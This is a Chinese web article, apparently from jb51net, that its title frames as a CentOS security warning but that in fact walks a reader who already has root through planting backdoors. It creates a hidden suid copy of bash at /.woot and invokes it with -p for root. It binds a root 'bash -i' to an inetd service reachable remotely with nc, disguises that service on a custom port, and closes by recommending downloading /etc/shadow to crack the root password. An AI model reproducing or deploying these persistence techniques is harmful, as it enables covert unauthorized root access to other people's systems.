RedHat/Centos

关注公众号 jb51net

关闭
操作系统 > RedHat/Centos >

CentOS小心被suid shell与inetd后门利用的详细讲解

脚本之家

你现在已经是root用户,想留一个后门。

CentOS小心被suid shell与inetd后门利用的详细讲解

系统环境:

dawg:~#uname-a

Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

1.SUIDshell

首先,先切换成为root用户,并执行以下的命令:

dawg:~#cp/bin/bash/.wootdawg:~#chmod4755/.wootdawg:~#ls-al/.woot-rwsr-xr-x1rootroot690668Jul2417:14/.woot

当然,你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件(在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏).

现在,做为一个普通用户,我们来启用这个后门:

fw@dawg:~$iduid=1000(fw)gid=1000(fw)groups=1000(fw)fw@dawg:~$/.woot.woot-2.05b$iduid=1000(fw)gid=1000(fw)groups=1000(fw).woot-2.05b$

为什么不行呢?

因为bash2针对suid有一些护卫的措施.但这也不是不可破的:

.woot-2.05b$/.woot-p

.woot-2.05b#id

uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

使用-p参数来获取一个rootshell.这个euid的意思是effectiveuserid(关于这些ID的知识,可以戳这里)

这里要特别注意的是,作为一个普通用户执行这个SUIDshell时,一定要使用全路径。

小知识:

如何查找那些具有SUID的文件:

dawg:~#find/-perm+4000-ls

这时就会返回具有SUID位的文件啦。

2.远程后门:利用/etc/inetd.conf

我们使用vi来修改/etc/inetd.conf文件

原文件:

#chargendgramudpwaitrootinternal

#discardstreamtcpnowaitrootinternal

#discarddgramudpwaitrootinternal

#daytimestreamtcpnowaitrootinternal

修改为:

#discardstreamtcpnowaitrootinternal

#discarddgramudpwaitrootinternal

daytimestreamtcpnowaitroot/bin/bashbash-i

开启inetd:

dawg:~#inetd

如果要强制重启inetd:

dawg:~#ps-ef|grepinetdroot36210Jul22?00:00:00/usr/sbin/inetdroot1376913643017:51pts/100:00:00grepinetddawg:~#kill-HUP362

现在我们就可以用nc来爆菊了:

C:tools192.168.1.77:inversehostlookupfailed:h_errno11004:NO_DATA

(UNKNOWN)[192.168.1.77]13(daytime)open

bash:nojobcontrolinthisshell

bash-2.05b#bash-2.05b#

bash-2.05b#iduid=0(root)

gid=0(root)groups=0(root)bash-2.05b#uname-a

Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

小贴士:

我们可以修改/etc/services文件,加入以下的东西:

woot6666/tcp#evilbackdoorservice

然后修改/etc/inetd.conf:

wootstreamtcpnowaitroot/bin/bashbash-i

我们可以修改成一些常见的端口,以实现隐藏。

小编感言:其实下/etc/shadow文件,爆破root的密码才最保险啊!